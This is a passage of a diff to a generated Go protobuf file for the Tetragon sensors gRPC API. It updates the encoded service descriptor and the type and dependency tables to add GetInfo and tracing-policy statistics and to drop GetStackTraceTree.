0x6f, 0x72, 0x73, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4c, - 0x69, 0x73, 0x74, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x52, 0x0a, 0x0c, 0x45, 0x6e, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x12, 0x1d, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, - 0x6f, 0x6e, 0x2e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, - 0x6e, 0x2e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x55, 0x0a, 0x0d, 0x44, - 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x12, 0x1e, 0x2e, 0x74, - 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1f, 0x2e, 0x74, - 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x03, 0x88, - 0x02, 0x01, 0x12, 0x52, 0x0a, 0x0c, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x6e, 0x73, - 0x6f, 0x72, 0x12, 0x1d, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x52, 0x65, - 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x1e, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x52, 0x65, 0x6d, - 0x6f, 0x76, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x5e, 0x0a, 0x11, 0x47, 0x65, 0x74, 0x53, 0x74, 0x61, - 0x63, 0x6b, 0x54, 0x72, 0x61, 0x63, 0x65, 0x54, 0x72, 0x65, 0x65, 0x12, 0x22, 0x2e, 0x74, 0x65, - 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x74, 0x61, 0x63, 0x6b, 0x54, - 0x72, 0x61, 0x63, 0x65, 0x54, 0x72, 0x65, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x23, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x74, - 0x61, 0x63, 0x6b, 0x54, 0x72, 0x61, 0x63, 0x65, 0x54, 0x72, 0x65, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x49, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1b, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, - 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x1c, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x47, 0x65, 0x74, - 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x00, 0x12, 0x4c, 0x0a, 0x0b, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x48, 0x6f, 0x6f, 0x6b, - 0x12, 0x1c, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x52, 0x75, 0x6e, 0x74, - 0x69, 0x6d, 0x65, 0x48, 0x6f, 0x6f, 0x6b, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, - 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, - 0x65, 0x48, 0x6f, 0x6f, 0x6b, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, - 0x43, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x44, 0x65, 0x62, 0x75, 0x67, 0x12, 0x19, 0x2e, 0x74, 0x65, - 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x47, 0x65, 0x74, 0x44, 0x65, 0x62, 0x75, 0x67, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, - 0x6e, 0x2e, 0x47, 0x65, 0x74, 0x44, 0x65, 0x62, 0x75, 0x67, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x00, 0x12, 0x43, 0x0a, 0x08, 0x53, 0x65, 0x74, 0x44, 0x65, 0x62, 0x75, 0x67, - 0x12, 0x19, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x53, 0x65, 0x74, 0x44, - 0x65, 0x62, 0x75, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1a, 0x2e, 0x74, 0x65, - 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x53, 0x65, 0x74, 0x44, 0x65, 0x62, 0x75, 0x67, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, - 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x69, 0x6c, 0x69, 0x75, 0x6d, 0x2f, 0x74, - 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x31, 0x2f, 0x74, - 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x03, 0x88, 0x02, 0x01, 0x12, 0x6a, 0x0a, 0x14, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x12, 0x25, 0x2e, 0x74, + 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x44, + 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x72, 0x61, 0x63, 0x69, 0x6e, 0x67, 0x50, 0x6f, 0x6c, + 0x69, 0x63, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x03, 0x88, 0x02, 0x01, + 0x12, 0x4f, 0x0a, 0x0b, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x73, 0x12, + 0x1c, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x53, + 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, + 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x65, 0x6e, + 0x73, 0x6f, 0x72, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x03, 0x88, 0x02, + 0x01, 0x12, 0x52, 0x0a, 0x0c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, + 0x72, 0x12, 0x1d, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x45, 0x6e, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x1e, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x45, 0x6e, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x55, 0x0a, 0x0d, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x12, 0x1e, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, + 0x6e, 0x2e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1f, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, + 0x6e, 0x2e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x52, 0x0a, 0x0c, + 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x12, 0x1d, 0x2e, 0x74, + 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, + 0x6e, 0x73, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x74, 0x65, + 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x6e, + 0x73, 0x6f, 0x72, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x03, 0x88, 0x02, 0x01, + 0x12, 0x49, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1b, + 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x74, 0x65, + 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, + 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x07, 0x47, + 0x65, 0x74, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x18, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, + 0x6e, 0x2e, 0x47, 0x65, 0x74, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x19, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x47, 0x65, 0x74, 0x49, + 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x4c, 0x0a, + 0x0b, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x48, 0x6f, 0x6f, 0x6b, 0x12, 0x1c, 0x2e, 0x74, + 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x48, + 0x6f, 0x6f, 0x6b, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x74, 0x65, 0x74, + 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x48, 0x6f, 0x6f, + 0x6b, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x43, 0x0a, 0x08, 0x47, + 0x65, 0x74, 0x44, 0x65, 0x62, 0x75, 0x67, 0x12, 0x19, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, + 0x6f, 0x6e, 0x2e, 0x47, 0x65, 0x74, 0x44, 0x65, 0x62, 0x75, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x47, 0x65, + 0x74, 0x44, 0x65, 0x62, 0x75, 0x67, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, + 0x12, 0x43, 0x0a, 0x08, 0x53, 0x65, 0x74, 0x44, 0x65, 0x62, 0x75, 0x67, 0x12, 0x19, 0x2e, 0x74, + 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x53, 0x65, 0x74, 0x44, 0x65, 0x62, 0x75, 0x67, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, + 0x6f, 0x6e, 0x2e, 0x53, 0x65, 0x74, 0x44, 0x65, 0x62, 0x75, 0x67, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x00, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, + 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x69, 0x6c, 0x69, 0x75, 0x6d, 0x2f, 0x74, 0x65, 0x74, 0x72, 0x61, + 0x67, 0x6f, 0x6e, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x31, 0x2f, 0x74, 0x65, 0x74, 0x72, 0x61, + 0x67, 0x6f, 0x6e, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -2277,7 +2709,7 @@ func file_tetragon_sensors_proto_rawDescGZIP() []byte { } var file_tetragon_sensors_proto_enumTypes = make([]protoimpl.EnumInfo, 4) -var file_tetragon_sensors_proto_msgTypes = make([]protoimpl.MessageInfo, 34) +var file_tetragon_sensors_proto_msgTypes = make([]protoimpl.MessageInfo, 39) var file_tetragon_sensors_proto_goTypes = []any{ (TracingPolicyState)(0), // 0: tetragon.TracingPolicyState (TracingPolicyMode)(0), // 1: tetragon.TracingPolicyMode @@ -2287,105 +2719,117 @@ var file_tetragon_sensors_proto_goTypes = []any{ (*SensorStatus)(nil), // 5: tetragon.SensorStatus (*ListSensorsResponse)(nil), // 6: tetragon.ListSensorsResponse (*ListTracingPoliciesRequest)(nil), // 7: tetragon.ListTracingPoliciesRequest - (*TracingPolicyStatus)(nil), // 8: tetragon.TracingPolicyStatus - (*ListTracingPoliciesResponse)(nil), // 9: tetragon.ListTracingPoliciesResponse - (*AddTracingPolicyRequest)(nil), // 10: tetragon.AddTracingPolicyRequest - (*AddTracingPolicyResponse)(nil), // 11: tetragon.AddTracingPolicyResponse - (*DeleteTracingPolicyRequest)(nil), // 12: tetragon.DeleteTracingPolicyRequest - (*DeleteTracingPolicyResponse)(nil), // 13: tetragon.DeleteTracingPolicyResponse - (*EnableTracingPolicyRequest)(nil), // 14: tetragon.EnableTracingPolicyRequest - (*EnableTracingPolicyResponse)(nil), // 15: tetragon.EnableTracingPolicyResponse - (*DisableTracingPolicyRequest)(nil), // 16: tetragon.DisableTracingPolicyRequest - (*DisableTracingPolicyResponse)(nil), // 17: tetragon.DisableTracingPolicyResponse - (*ConfigureTracingPolicyRequest)(nil), // 18: tetragon.ConfigureTracingPolicyRequest - (*ConfigureTracingPolicyResponse)(nil), // 19: tetragon.ConfigureTracingPolicyResponse - (*RemoveSensorRequest)(nil), // 20: tetragon.RemoveSensorRequest - (*RemoveSensorResponse)(nil), // 21: tetragon.RemoveSensorResponse - (*EnableSensorRequest)(nil), // 22: tetragon.EnableSensorRequest - (*EnableSensorResponse)(nil), // 23: tetragon.EnableSensorResponse - (*DisableSensorRequest)(nil), // 24: tetragon.DisableSensorRequest - (*DisableSensorResponse)(nil), // 25: tetragon.DisableSensorResponse - (*GetStackTraceTreeRequest)(nil), // 26: tetragon.GetStackTraceTreeRequest - (*GetStackTraceTreeResponse)(nil), // 27: tetragon.GetStackTraceTreeResponse + (*TracingPolicyActionCounters)(nil), // 8: tetragon.TracingPolicyActionCounters + (*TracingPolicyStats)(nil), // 9: tetragon.TracingPolicyStats + (*TracingPolicyStatus)(nil), // 10: tetragon.TracingPolicyStatus + (*ListTracingPoliciesResponse)(nil), // 11: tetragon.ListTracingPoliciesResponse + (*AddTracingPolicyRequest)(nil), // 12: tetragon.AddTracingPolicyRequest + (*AddTracingPolicyResponse)(nil), // 13: tetragon.AddTracingPolicyResponse + (*DeleteTracingPolicyRequest)(nil), // 14: tetragon.DeleteTracingPolicyRequest + (*DeleteTracingPolicyResponse)(nil), // 15: tetragon.DeleteTracingPolicyResponse + (*EnableTracingPolicyRequest)(nil), // 16: tetragon.EnableTracingPolicyRequest + (*EnableTracingPolicyResponse)(nil), // 17: tetragon.EnableTracingPolicyResponse + (*DisableTracingPolicyRequest)(nil), // 18: tetragon.DisableTracingPolicyRequest + (*DisableTracingPolicyResponse)(nil), // 19: tetragon.DisableTracingPolicyResponse + (*ConfigureTracingPolicyRequest)(nil), // 20: tetragon.ConfigureTracingPolicyRequest + (*ConfigureTracingPolicyResponse)(nil), // 21: tetragon.ConfigureTracingPolicyResponse + (*RemoveSensorRequest)(nil), // 22: tetragon.RemoveSensorRequest + (*RemoveSensorResponse)(nil), // 23: tetragon.RemoveSensorResponse + (*EnableSensorRequest)(nil), // 24: tetragon.EnableSensorRequest + (*EnableSensorResponse)(nil), // 25: tetragon.EnableSensorResponse + (*DisableSensorRequest)(nil), // 26: tetragon.DisableSensorRequest + (*DisableSensorResponse)(nil), // 27: tetragon.DisableSensorResponse (*GetVersionRequest)(nil), // 28: tetragon.GetVersionRequest (*GetVersionResponse)(nil), // 29: tetragon.GetVersionResponse - (*DumpProcessCacheReqArgs)(nil), // 30: tetragon.DumpProcessCacheReqArgs - (*ProcessInternal)(nil), // 31: tetragon.ProcessInternal - (*DumpProcessCacheResArgs)(nil), // 32: tetragon.DumpProcessCacheResArgs - (*GetDebugRequest)(nil), // 33: tetragon.GetDebugRequest - (*GetDebugResponse)(nil), // 34: tetragon.GetDebugResponse - (*SetDebugRequest)(nil), // 35: tetragon.SetDebugRequest - (*SetDebugResponse)(nil), // 36: tetragon.SetDebugResponse - nil, // 37: tetragon.ProcessInternal.RefcntOpsEntry - (*StackTraceNode)(nil), // 38: tetragon.StackTraceNode - (*Process)(nil), // 39: tetragon.Process - (*wrapperspb.UInt32Value)(nil), // 40: google.protobuf.UInt32Value - (*GetEventsRequest)(nil), // 41: tetragon.GetEventsRequest - (*GetHealthStatusRequest)(nil), // 42: tetragon.GetHealthStatusRequest - (*RuntimeHookRequest)(nil), // 43: tetragon.RuntimeHookRequest - (*GetEventsResponse)(nil), // 44: tetragon.GetEventsResponse - (*GetHealthStatusResponse)(nil), // 45: tetragon.GetHealthStatusResponse - (*RuntimeHookResponse)(nil), // 46: tetragon.RuntimeHookResponse + (*GetInfoRequest)(nil), // 30: tetragon.GetInfoRequest + (*GetInfoResponse)(nil), // 31: tetragon.GetInfoResponse + (*DumpProcessCacheReqArgs)(nil), // 32: tetragon.DumpProcessCacheReqArgs + (*ProcessInternal)(nil), // 33: tetragon.ProcessInternal + (*DumpProcessCacheResArgs)(nil), // 34: tetragon.DumpProcessCacheResArgs + (*GetDebugRequest)(nil), // 35: tetragon.GetDebugRequest + (*GetDebugResponse)(nil), // 36: tetragon.GetDebugResponse + (*SetDebugRequest)(nil), // 37: tetragon.SetDebugRequest + (*SetDebugResponse)(nil), // 38: tetragon.SetDebugResponse + (*GetInfoResponse_Probe)(nil), // 39: tetragon.GetInfoResponse.Probe + (*GetInfoResponse_ConfVal)(nil), // 40: tetragon.GetInfoResponse.ConfVal + (*GetInfoResponse_BuildInfo)(nil), // 41: tetragon.GetInfoResponse.BuildInfo + nil, // 42: tetragon.ProcessInternal.RefcntOpsEntry + (*Process)(nil), // 43: tetragon.Process + (*wrapperspb.UInt32Value)(nil), // 44: google.protobuf.UInt32Value + (*wrapperspb.BoolValue)(nil), // 45: google.protobuf.BoolValue + (*anypb.Any)(nil), // 46: google.protobuf.Any + (*GetEventsRequest)(nil), // 47: tetragon.GetEventsRequest + (*GetHealthStatusRequest)(nil), // 48: tetragon.GetHealthStatusRequest + (*RuntimeHookRequest)(nil), // 49: tetragon.RuntimeHookRequest + (*GetEventsResponse)(nil), // 50: tetragon.GetEventsResponse + (*GetHealthStatusResponse)(nil), // 51: tetragon.GetHealthStatusResponse + (*RuntimeHookResponse)(nil), // 52: tetragon.RuntimeHookResponse } var file_tetragon_sensors_proto_depIdxs = []int32{ 5, // 0: tetragon.ListSensorsResponse.sensors:type_name -> tetragon.SensorStatus - 0, // 1: tetragon.TracingPolicyStatus.state:type_name -> tetragon.TracingPolicyState - 1, // 2: tetragon.TracingPolicyStatus.mode:type_name -> tetragon.TracingPolicyMode - 8, // 3: tetragon.ListTracingPoliciesResponse.policies:type_name -> tetragon.TracingPolicyStatus - 1, // 4: tetragon.ConfigureTracingPolicyRequest.mode:type_name -> tetragon.TracingPolicyMode - 38, // 5: tetragon.GetStackTraceTreeResponse.root:type_name -> tetragon.StackTraceNode - 39, // 6: tetragon.ProcessInternal.process:type_name -> tetragon.Process - 40, // 7: tetragon.ProcessInternal.refcnt:type_name -> google.protobuf.UInt32Value - 37, // 8: tetragon.ProcessInternal.refcnt_ops:type_name -> tetragon.ProcessInternal.RefcntOpsEntry - 31, // 9: tetragon.DumpProcessCacheResArgs.processes:type_name -> tetragon.ProcessInternal - 2, // 10: tetragon.GetDebugRequest.flag:type_name -> tetragon.ConfigFlag - 30, // 11: tetragon.GetDebugRequest.dump:type_name -> tetragon.DumpProcessCacheReqArgs - 2, // 12: tetragon.GetDebugResponse.flag:type_name -> tetragon.ConfigFlag - 3, // 13: tetragon.GetDebugResponse.level:type_name -> tetragon.LogLevel - 32, // 14: tetragon.GetDebugResponse.processes:type_name -> tetragon.DumpProcessCacheResArgs - 2, // 15: tetragon.SetDebugRequest.flag:type_name -> tetragon.ConfigFlag - 3, // 16: tetragon.SetDebugRequest.level:type_name -> tetragon.LogLevel - 2, // 17: tetragon.SetDebugResponse.flag:type_name -> tetragon.ConfigFlag - 3, // 18: tetragon.SetDebugResponse.level:type_name -> tetragon.LogLevel - 41, // 19: tetragon.FineGuidanceSensors.GetEvents:input_type -> tetragon.GetEventsRequest - 42, // 20: tetragon.FineGuidanceSensors.GetHealth:input_type -> tetragon.GetHealthStatusRequest - 10, // 21: tetragon.FineGuidanceSensors.AddTracingPolicy:input_type -> tetragon.AddTracingPolicyRequest - 12, // 22: tetragon.FineGuidanceSensors.DeleteTracingPolicy:input_type -> tetragon.DeleteTracingPolicyRequest - 7, // 23: tetragon.FineGuidanceSensors.ListTracingPolicies:input_type -> tetragon.ListTracingPoliciesRequest - 18, // 24: tetragon.FineGuidanceSensors.ConfigureTracingPolicy:input_type -> tetragon.ConfigureTracingPolicyRequest - 14, // 25: tetragon.FineGuidanceSensors.EnableTracingPolicy:input_type -> tetragon.EnableTracingPolicyRequest - 16, // 26: tetragon.FineGuidanceSensors.DisableTracingPolicy:input_type -> tetragon.DisableTracingPolicyRequest - 4, // 27: tetragon.FineGuidanceSensors.ListSensors:input_type -> tetragon.ListSensorsRequest - 22, // 28: tetragon.FineGuidanceSensors.EnableSensor:input_type -> tetragon.EnableSensorRequest - 24, // 29: tetragon.FineGuidanceSensors.DisableSensor:input_type -> tetragon.DisableSensorRequest - 20, // 30: tetragon.FineGuidanceSensors.RemoveSensor:input_type -> tetragon.RemoveSensorRequest - 26, // 31: tetragon.FineGuidanceSensors.GetStackTraceTree:input_type -> tetragon.GetStackTraceTreeRequest - 28, // 32: tetragon.FineGuidanceSensors.GetVersion:input_type -> tetragon.GetVersionRequest - 43, // 33: tetragon.FineGuidanceSensors.RuntimeHook:input_type -> tetragon.RuntimeHookRequest - 33, // 34: tetragon.FineGuidanceSensors.GetDebug:input_type -> tetragon.GetDebugRequest - 35, // 35: tetragon.FineGuidanceSensors.SetDebug:input_type -> tetragon.SetDebugRequest - 44, // 36: tetragon.FineGuidanceSensors.GetEvents:output_type -> tetragon.GetEventsResponse - 45, // 37: tetragon.FineGuidanceSensors.GetHealth:output_type -> tetragon.GetHealthStatusResponse - 11, // 38: tetragon.FineGuidanceSensors.AddTracingPolicy:output_type -> tetragon.AddTracingPolicyResponse - 13, // 39: tetragon.FineGuidanceSensors.DeleteTracingPolicy:output_type -> tetragon.DeleteTracingPolicyResponse - 9, // 40: tetragon.FineGuidanceSensors.ListTracingPolicies:output_type -> tetragon.ListTracingPoliciesResponse - 19, // 41: tetragon.FineGuidanceSensors.ConfigureTracingPolicy:output_type -> tetragon.ConfigureTracingPolicyResponse - 15, // 42: tetragon.FineGuidanceSensors.EnableTracingPolicy:output_type -> tetragon.EnableTracingPolicyResponse - 17, // 43: tetragon.FineGuidanceSensors.DisableTracingPolicy:output_type -> tetragon.DisableTracingPolicyResponse - 6, // 44: tetragon.FineGuidanceSensors.ListSensors:output_type -> tetragon.ListSensorsResponse - 23, // 45: tetragon.FineGuidanceSensors.EnableSensor:output_type -> tetragon.EnableSensorResponse - 25, // 46: tetragon.FineGuidanceSensors.DisableSensor:output_type -> tetragon.DisableSensorResponse - 21, // 47: tetragon.FineGuidanceSensors.RemoveSensor:output_type -> tetragon.RemoveSensorResponse - 27, // 48: tetragon.FineGuidanceSensors.GetStackTraceTree:output_type -> tetragon.GetStackTraceTreeResponse - 29, // 49: tetragon.FineGuidanceSensors.GetVersion:output_type -> tetragon.GetVersionResponse - 46, // 50: tetragon.FineGuidanceSensors.RuntimeHook:output_type -> tetragon.RuntimeHookResponse - 34, // 51: tetragon.FineGuidanceSensors.GetDebug:output_type -> tetragon.GetDebugResponse - 36, // 52: tetragon.FineGuidanceSensors.SetDebug:output_type -> tetragon.SetDebugResponse - 36, // [36:53] is the sub-list for method output_type - 19, // [19:36] is the sub-list for method input_type - 19, // [19:19] is the sub-list for extension type_name - 19, // [19:19] is the sub-list for extension extendee - 0, // [0:19] is the sub-list for field type_name + 8, // 1: tetragon.TracingPolicyStats.action_counters:type_name -> tetragon.TracingPolicyActionCounters + 0, // 2: 